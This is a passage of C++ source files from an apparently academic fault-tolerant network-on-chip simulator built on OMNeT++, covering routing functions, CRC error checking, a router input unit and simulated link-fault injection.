virtual ~NegativeFirstRouting();
virtual vector<Path *> *routeCalc(Flit *f);
virtual void updateNeighborsFaultInfo(int direction,bool neighborState);
};
#endif /* NEGATIVEFIRSTROUTING_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/NorthLast/NorthLast.cc
/*
* NorthLast.cpp
*
* Created on: Feb 16, 2015
* Author: ala-eddine
*/
#include <NorthLast.h>
#include <NoCMsg_m.h>
NorthLast::NorthLast(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo) {
// TODO Auto-generated constructor stub
this->dimX= dimX;
this->dimY = dimY;
this->x = x;
this->y = y;
this->nbVCs = nbVCs;
this->neighborsFaultInfo=neighborsFaultInfo;
}
NorthLast::~NorthLast() {
// TODO Auto-generated destructor stub
}
vector<Path *> *NorthLast::routeCalc(Flit *f){
vector<Path*> *routes = new vector<Path*>;
int destX = f->getDestX();
int destY = f->getDestY();
int direction = f->getNumPort();
//std::cout << "Destination: " << destX <<":" << destY << "----courant: " << x<<":"<<y << endl;
if(x == destX)
{
if(y<destY)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else if (y>destY){
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
else for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(LOCAL_DIREC,i));
}
else if(x<destX)
{
if(y < destY)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
else//y>=destY
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
}
else{ //x>destX
if(y<destY)
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else//y>=destY
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
}
}
return routes;
}
void NorthLast::updateNeighborsFaultInfo(int direction,bool neighborState)
{
this->neighborsFaultInfo[direction]=neighborState;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Encoder/ECCAlgorithms/CRC/CRCAlgorithm.cc
/*
* CRC.cc
*
* Created on: 15 avr. 2015
* Author: mehdi
*/
#include <CRCAlgorithm.h>
CRCAlgorithm::CRCAlgorithm(string crcType) {
// TODO Auto-generated constructor stub
this->crcType=crcType;
}
CRCAlgorithm::~CRCAlgorithm() {
// TODO Auto-generated destructor stub
}
void CRCAlgorithm::encodeH2H(Flit* f)
{
int flitLength=f->getSerializedFlitArraySize();
if(crcType=="crc_16")
{
boost::crc_16_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setSerializedFlit(i,checksum);
f->setSerializedFlit(i+1,checksum/256);
}
else if(crcType=="crc_ccitt")
{
boost::crc_ccitt_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setSerializedFlit(i,checksum);
f->setSerializedFlit(i+1,checksum/256);
}
else if(crcType=="crc_xmodem")
{
boost::crc_xmodem_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setSerializedFlit(i,checksum);
f->setSerializedFlit(i+1,checksum/256);
}
}
bool CRCAlgorithm::decodeH2H(Flit* f)
{
int flitLength;
if(crcType=="crc_16")
{
boost::crc_16_type crc;
flitLength=f->getSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getSerializedFlit(i) & 0xff) + (((short unsigned int)f->getSerializedFlit(i+1))*256 & 0xffff);
//cout << receivedChecksum << " " << newChecksum << endl;
if(newChecksum==receivedChecksum) return true;
else return false;
}
else if(crcType=="crc_ccitt")
{
boost::crc_ccitt_type crc;
flitLength=f->getSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getSerializedFlit(i) & 0xff) + (((short unsigned int)f->getSerializedFlit(i+1))*256 & 0xffff);
if(newChecksum==receivedChecksum) return true;
else return false;
}
else if(crcType=="crc_xmodem")
{
boost::crc_xmodem_type crc;
flitLength=f->getSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getSerializedFlit(i) & 0xff) + (((short unsigned int)f->getSerializedFlit(i+1))*256 & 0xffff);
if(newChecksum==receivedChecksum) return true;
else return false;
}
return true;
}
void CRCAlgorithm::encodeE2E(Flit* f)
{
int flitLength=f->getE2eSerializedFlitArraySize();
if(crcType=="crc_16")
{
boost::crc_16_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setE2eSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setE2eSerializedFlit(i,checksum);
f->setE2eSerializedFlit(i+1,checksum/256);
}
else if(crcType=="crc_ccitt")
{
boost::crc_ccitt_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setE2eSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setE2eSerializedFlit(i,checksum);
f->setE2eSerializedFlit(i+1,checksum/256);
}
else if(crcType=="crc_xmodem")
{
boost::crc_xmodem_type crc;
char* data=new char[flitLength];
for(int i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
f->setE2eSerializedFlitArraySize(flitLength+2);
int i;
for(i=0;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,data[i]);
}
short unsigned int checksum=crc.checksum();
f->setE2eSerializedFlit(i,checksum);
f->setE2eSerializedFlit(i+1,checksum/256);
}
}
bool CRCAlgorithm::decodeE2E(Flit* f)
{
int flitLength;
if(crcType=="crc_16")
{
boost::crc_16_type crc;
flitLength=f->getE2eSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getE2eSerializedFlit(i) & 0xff) + (((short unsigned int)f->getE2eSerializedFlit(i+1))*256 & 0xffff);
/*printf("decoder : \n");
printf("size : %d\n", f->getSerializedFlitArraySize());
printf("Flit : ");
for(int i=0;i<f->getSerializedFlitArraySize();i++)
{
printf("%x ", f->getSerializedFlit(i) & 0xff);
}
printf("\n");
printf("new check %x\n ", newChecksum);
printf("anc check %x\n ", receivedChecksum);
printf("\n\n");*/
//printf("new check %x\n ", newChecksum & 0xffff);
//printf("anc check %x\n ", receivedChecksum & 0xffff);
if(newChecksum==receivedChecksum) return true;
else return false;
}
else if(crcType=="crc_ccitt")
{
boost::crc_ccitt_type crc;
flitLength=f->getE2eSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getE2eSerializedFlit(i) & 0xff) + (((short unsigned int)f->getE2eSerializedFlit(i+1))*256 & 0xffff);
if(newChecksum==receivedChecksum) return true;
else return false;
}
else if(crcType=="crc_xmodem")
{
boost::crc_xmodem_type crc;
flitLength=f->getE2eSerializedFlitArraySize()-2;
char* data=new char[flitLength];
int i;
for(i=0;i<flitLength;i++)
{
data[i]=f->getE2eSerializedFlit(i);
}
crc.process_bytes(data,flitLength);
short unsigned int newChecksum=crc.checksum();
short unsigned int receivedChecksum= (f->getE2eSerializedFlit(i) & 0xff) + (((short unsigned int)f->getE2eSerializedFlit(i+1))*256 & 0xffff);
if(newChecksum==receivedChecksum) return true;
else return false;
}
return true;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDConstant.h
/*
* TDConstant.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef TDCONSTANT_H_
#define TDCONSTANT_H_
#include "TempralDistribution.h"
using namespace std;
class TDConstant : public TempralDistribution {
private:
int interArrival;
public:
TDConstant(int interArrival);
virtual ~TDConstant();
virtual int getNextGenerationTime();
};
#endif /* TDCONSTANT_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/AlterBitsH2H.h
/*
* AlterBitsH2H.h
*
* Created on: 27 avr. 2015
* Author: ala-eddine
*/
#ifndef ALTERBITSH2H_H_
#define ALTERBITSH2H_H_
#include <FaultProperty.h>
class AlterBitsH2H : public FaultProperty{
private:
int minBits;
int maxBits;
public:
AlterBitsH2H(int minBits,int maxBits);
virtual ~AlterBitsH2H();
virtual bool alterFlit(Flit *f);
};
#endif /* ALTERBITSH2H_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/InputUnit.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "InputUnit.h"
#include <XYRoutingFunction.h>
#include <NorthLast.h>
#include <CreditBased.h>
#include <VCAllocator.h>
#include <CAVCAllocator.h>
using namespace std;
Define_Module(InputUnit);
void InputUnit::initialize()
{
// TODO - Generated method body
nbVCs = getParentModule()->par("nbVCs").longValue();
numPort = par("id");
bufferLenght = getParentModule()->par("bufferLenght");
virtualChannels = new vector<VirtualChannel *>;
for(int i=0;i<nbVCs;i++) virtualChannels->push_back(new VirtualChannel(bufferLenght));
curVC = 0;
lastForwardedVC = 0;
x = getParentModule()->getParentModule()->par("x").longValue();
y = getParentModule()->getParentModule()->par("y").longValue();
dimY = getParentModule()->getParentModule()->getParentModule()->par("rows");
dimX = getParentModule()->getParentModule()->getParentModule()->par("columns");
int nbPorts=(getParentModule()->par("nbInputUnits")).longValue()-1;
bool* neighborsFaultInfo=new bool[nbPorts];
for(int i=0;i<nbPorts;i++) neighborsFaultInfo[i]=false;
routingFunction = new XYRoutingFunction(x,y,dimX,dimY,nbVCs,neighborsFaultInfo);
ClkCycle = getParentModule()->getParentModule()->getParentModule()->par("ClkCycle");
clkMsg = new ClkMsg;
clkMsg->setKind(CLK_MSG);
//scheduleAt(simTime()+ClkCycle,clkMsg);
this->initNeighborsFaultInfo(par("faultInjectionParams"));
readCounter = 0;
writeCounter = 0;
localSWArbCounter = 0;
dropFlitsCounter = 0;
dropFlitsVect.setName("DROP-FLIT-COUNT");
bufferAvgEnergy.setName("bufferAvgEnergy");
localSWArbEnergy.setName("localSWArbEnergy");
FlitRouterLatency.setName("FLIT-ROUTER-LATENCY");
// DEB MEH 4
/*this->faultInjector=new FaultInjector(this->x,this->y,this->numPort);
this->faultInjector->init(par("faultInjectionParams"));
if(this->numPort==0){
std::cout << "Node " << this->x << " - " << this->y << " :" << endl;
std::cout << " North nei : " << this->neighborsFaultInfo[0] << endl;
std::cout << " East nei : " << this->neighborsFaultInfo[1] << endl;
std::cout << " South nei : " << this->neighborsFaultInfo[2] << endl;
std::cout << " West nei : " << this->neighborsFaultInfo[3] << endl;
std:cout << endl;
}*/
// END MEH 4
}
void InputUnit::handleMessage(cMessage *msg)
{
NeighborLinkFaultMsg* nlfMsg;
switch(msg->getKind())
{
case CLK_MSG:
outputControler();
flitForwarding();
scheduleAt(simTime()+ ClkCycle,clkMsg);
break;
case NEIGHBOR_LINK_FAULT_MSG:
nlfMsg=dynamic_cast<NeighborLinkFaultMsg*>(msg);
this->routingFunction->updateNeighborsFaultInfo(nlfMsg->getDirection(),true);
break;
case FLIT_MSG:
inputControler(check_and_cast<Flit *>(msg));
if(!clkMsg->isScheduled())
{
double j = floor(simTime().dbl()/ClkCycle);
double nextClk = (j+1) * ClkCycle;
scheduleAt(nextClk,clkMsg);
}
break;
}
}
void InputUnit::finish()
{
initOrion();
std::cout << "buffer :"<< simTime().dbl()/ClkCycle << endl;
double bufAvgEnergy = getBufferEnergy(readCounter/(simTime()/ClkCycle),writeCounter/(simTime()/ClkCycle));
double ArbAvgEnergy = getSWLocalArbiterEnergy(localSWArbCounter/(simTime()/ClkCycle));
bufferAvgEnergy.record(bufAvgEnergy);
localSWArbEnergy.record(ArbAvgEnergy);
dropFlitsVect.record(dropFlitsCounter);
}
void InputUnit::inputControler(Flit *f)
{
int ind = f->getNumVC();
if(getIndex()!=LOCAL_DIREC)
{
f->setFlitRouterLatency(simTime().dbl()* 1e9/2);
//if(f->getType()==HEADER_FLIT)
///virtualChannels->at(f->getNumVC())->setHeadFlitInjectionTime() latence du packet dans les routeurs
}
else
f->setFlitRouterLatency(-1);
if(f->getDestX()>=0 && f->getDestX()<this->dimX && f->getDestY()>=0 && f->getDestY()<this->dimY)
{
if(ind>=0 && ind<this->nbVCs){
insertFlit(ind,f);
}
}
}
void InputUnit::insertFlit(int ind,Flit *f)
{
//virtualChannels->at(ind)->insertFlit(f);
getVirtualChannel(ind)->insertFlit(f);
readCounter++;
writeCounter++;
//buffers->at(ind).getLength();
}
void InputUnit::outputControler()
{
for(int i=0;i<nbVCs;i++)
{
vector<Path*> *listRoute;
Flit * firstFlit = virtualChannels->at(i)->readFrontFlit();
if(firstFlit != NULL)
{
if(firstFlit->getType()==HEADER_FLIT || firstFlit->getType()==SINGLE_FLIT){
if(virtualChannels->at(i)->getState()==IDLE)
{
if(getIndex()==LOCAL_DIREC) {
firstFlit->setNetworkLatency(simTime().dbl()* 1e9/2);
virtualChannels->at(i)->setHeadFlitInjectionTime(simTime().dbl()* 1e9/2);
}
virtualChannels->at(i)->setState(ROUTING);
listRoute = routingFunction->routeCalc(firstFlit);
virtualChannels->at(i)->setListRoutes(listRoute);
if(listRoute->size()>0)
{virtualChannels->at(i)->setState(VCALLOCATION);}
else{
virtualChannels->at(i)->setOutputPort(-1);
virtualChannels->at(i)->setState(SWITCHTRAVERSAL);
}
}
}
else
if(virtualChannels->at(i)->getState()==IDLE)
{
virtualChannels->at(i)->popFlit();
}
}
}
}
int InputUnit::getX()
{
return x;
}
int InputUnit::getY()
{
return y;
}
VirtualChannel* InputUnit::getVirtualChannel(int numVC) const {
return virtualChannels->at(numVC);
}
void InputUnit::flitForwarding()
{
int index = (lastForwardedVC + 1) % nbVCs;
bool find = false;
while(!find)
{
if(virtualChannels->at(index)->getState() == SWITCHTRAVERSAL)
{
if(virtualChannels->at(index)->getOutputPort()!=-1)
{
Flit *f = virtualChannels->at(index)->popFlit();
f->setNumPort(virtualChannels->at(index)->getOutputPort());
f->setNumVC(virtualChannels->at(index)->getOutputVC());
if(getIndex()==LOCAL_DIREC) {
f->setNetworkLatency(simTime().dbl()* 1e9/2);
if(f->getType() == TAIL_FLIT)
f->setPacketNetworkLatency(virtualChannels->at(index)->getHeadFlitInjectionTime());
}
if(f->getNumPort() == LOCAL_DIREC) {
f->setNetworkLatency(simTime().dbl()* 1e9/2 - f->getNetworkLatency());
if(f->getType()==TAIL_FLIT)
f->setPacketNetworkLatency(simTime().dbl()* 1e9/2 - f->getPacketNetworkLatency());
}
if(f->getFlitRouterLatency()!=-1)
FlitRouterLatency.record(simTime().dbl()* 1e9/2 - f->getFlitRouterLatency());
send(f,"out");
if(getIndex()!=4)
{
CreditMsg *creditMsg = new CreditMsg;
creditMsg->setKind(CREDIT_MSG);
creditMsg->setNumPort(numPort);
creditMsg->setNumVC(index);
send(creditMsg,"outFlowControl");
}
CreditBased *flowControlUnit = dynamic_cast<CreditBased *>(getParentModule()->getSubmodule("flowControlUnit"));
flowControlUnit->incrementCredit(f->getNumPort(),f->getNumVC());
if(f->getType() == TAIL_FLIT || f->getType() == SINGLE_FLIT)
{
virtualChannels->at(index)->setState(IDLE);
//VCAllocator *VCallocator = dynamic_cast<VCAllocator *>(getParentModule()->getSubmodule("vcAllocator"));
CAVCAllocator *VCallocator = dynamic_cast<CAVCAllocator *>(getParentModule()->getSubmodule("vcAllocator"));
VCallocator->deallocVC(new Path(virtualChannels->at(index)->getOutputPort(),virtualChannels->at(index)->getOutputVC()));
}
else
{
virtualChannels->at(index)->setState(SWITCHALLOCATION);
}
find = true;
localSWArbCounter++;
}
else if(virtualChannels->at(index)->getCurLenght()>0)
{
Flit *f = virtualChannels->at(index)->popFlit();
if(getIndex()!=4)
{
CreditMsg *creditMsg = new CreditMsg;
creditMsg->setKind(CREDIT_MSG);
creditMsg->setNumPort(numPort);
creditMsg->setNumVC(index);
send(creditMsg,"outFlowControl");
}
if(f->getType() == TAIL_FLIT || f->getType() == SINGLE_FLIT)
{
virtualChannels->at(index)->setState(IDLE);
}
else
{
virtualChannels->at(index)->setState(SWITCHTRAVERSAL);
}
delete f;
dropFlitsCounter++;
}
}
if(index == lastForwardedVC) break;
if(find) lastForwardedVC = index;
index = (index + 1) % nbVCs;
}
}
void InputUnit::initNeighborsFaultInfo(cXMLElement* source)
{
bool defaultModelNorth,defaultModelEast,defaultModelSouth,defaultModelWest;
defaultModelNorth=true;
defaultModelEast=true;
defaultModelSouth=true;
defaultModelWest=true;
if(source->getChildrenByTagName("links").size()>0)
{
cXMLElementList links=source->getChildrenByTagName("links").at(0)->getChildrenByTagName("link");
for(unsigned int i=0;i<links.size();i++)
{
if(atoi(links.at(i)->getAttribute("outgoing_node_x"))==this->x && atoi(links.at(i)->getAttribute("outgoing_node_y"))==this->y)
{
cXMLElementList models=links.at(i)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<models.size();j++)
{
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0
&& strcmp(models.at(j)->getAttribute("faultRate"),"1")==0)
{
if(strcmp(links.at(i)->getAttribute("output_port"),"north")==0)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(NORTH_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(strcmp(links.at(i)->getAttribute("output_port"),"east")==0)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(EAST_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(strcmp(links.at(i)->getAttribute("output_port"),"south")==0)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(SOUTH_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(strcmp(links.at(i)->getAttribute("output_port"),"west")==0)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(WEST_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
}
}
if(models.size()>0)
{
if(strcmp(links.at(i)->getAttribute("output_port"),"north")==0)
defaultModelNorth=false;
if(strcmp(links.at(i)->getAttribute("output_port"),"east")==0)
defaultModelEast=false;
if(strcmp(links.at(i)->getAttribute("output_port"),"south")==0)
defaultModelSouth=false;
if(strcmp(links.at(i)->getAttribute("output_port"),"west")==0)
defaultModelWest=false;
}
}
}
}
if(source->getChildrenByTagName("nodes").size()>0)
{
cXMLElementList nodes=source->getChildrenByTagName("nodes").at(0)->getChildrenByTagName("node");
for(unsigned int i=0;i<nodes.size();i++)
{
if((atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y-1)
|| (atoi(nodes.at(i)->getAttribute("x"))==this->x+1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
|| (atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y+1)
|| (atoi(nodes.at(i)->getAttribute("x"))==this->x-1 && atoi(nodes.at(i)->getAttribute("y"))==this->y))
{
cXMLElementList models=nodes.at(i)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<models.size();j++)
{
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0
&& strcmp(models.at(j)->getAttribute("faultRate"),"1")==0)
{
if(atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y-1)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(NORTH_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(atoi(nodes.at(i)->getAttribute("x"))==this->x+1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(EAST_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y+1)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(SOUTH_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
else if(atoi(nodes.at(i)->getAttribute("x"))==this->x-1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(WEST_DIREC);
int injectionStartTime=atoi(models.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
}
}
if(models.size()>0)
{
if(atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y-1)
defaultModelNorth=false;
if(atoi(nodes.at(i)->getAttribute("x"))==this->x+1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
defaultModelEast=false;
if(atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y+1)
defaultModelSouth=false;
if(atoi(nodes.at(i)->getAttribute("x"))==this->x-1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
defaultModelWest=false;
}
}
}
}
if(source->getChildrenByTagName("default").size()>0)
{
cXMLElementList defaultModels=source->getChildrenByTagName("default").at(0)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<defaultModels.size();j++)
{
if(strcmp(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0
&& strcmp(defaultModels.at(j)->getAttribute("faultRate"),"1")==0)
{
if(defaultModelNorth)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(NORTH_DIREC);
int injectionStartTime=atoi(defaultModels.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
if(defaultModelEast)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(EAST_DIREC);
int injectionStartTime=atoi(defaultModels.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
if(defaultModelSouth)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(SOUTH_DIREC);
int injectionStartTime=atoi(defaultModels.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
if(defaultModelWest)
{
NeighborLinkFaultMsg* nlfMsg=new NeighborLinkFaultMsg;
nlfMsg->setKind(NEIGHBOR_LINK_FAULT_MSG);
nlfMsg->setDirection(WEST_DIREC);
int injectionStartTime=atoi(defaultModels.at(j)->getAttribute("injectionStartTime"));
scheduleAt(injectionStartTime*0.000000002,nlfMsg);
}
}
}
}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/RoutingFunction.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef ROUTINGFUNCTION_H_
#define ROUTINGFUNCTION_H_
#include <NoCMsg_m.h>
#include <Path.h>
using namespace std;
class RoutingFunction {
public:
//RoutingFunction(int x,int y,int nbVCs);
//virtual ~RoutingFunction();
virtual vector<Path *> *routeCalc(Flit *f) = 0;
virtual void updateNeighborsFaultInfo(int direction,bool neighborState)=0;
protected:
int x;
int y;
int nbVCs;
int dimX;
int dimY;
bool* neighborsFaultInfo;
};
enum DIRECTION{
NORTH_DIREC = 0,
EAST_DIREC = 1,
SOUTH_DIREC = 2,
WEST_DIREC = 3,
LOCAL_DIREC = 4
};
#endif /* ROUTINGFUNCTION_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDExponential.h
/*
* TDExponential.h
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#ifndef TDEXPONENTIAL_H_
#define TDEXPONENTIAL_H_
#include "TempralDistribution.h"
class TDExponential : public TempralDistribution {
private:
double mean;
public:
TDExponential(double mean);
virtual ~TDExponential();
virtual int getNextGenerationTime();
};
#endif /* TDEXPONENTIAL_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/VCAllocator/CongestionAwareVCAllocator/CAVCAllocator.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "CAVCAllocator.h"
#include <Switch.h>
Define_Module(CAVCAllocator);
void CAVCAllocator::initialize()
{
// TODO - Generated method body
nbVCs = getParentModule()->par("nbVCs").longValue();
nbInputUnit = getParentModule()->par("nbInputUnits").longValue();
allocationTable = new int*[nbInputUnit];
for(int i=0;i<nbInputUnit;i++)
allocationTable[i] = new int[nbVCs];
for(int i=0;i<5;i++)
for(int j=0;j<nbVCs;j++)
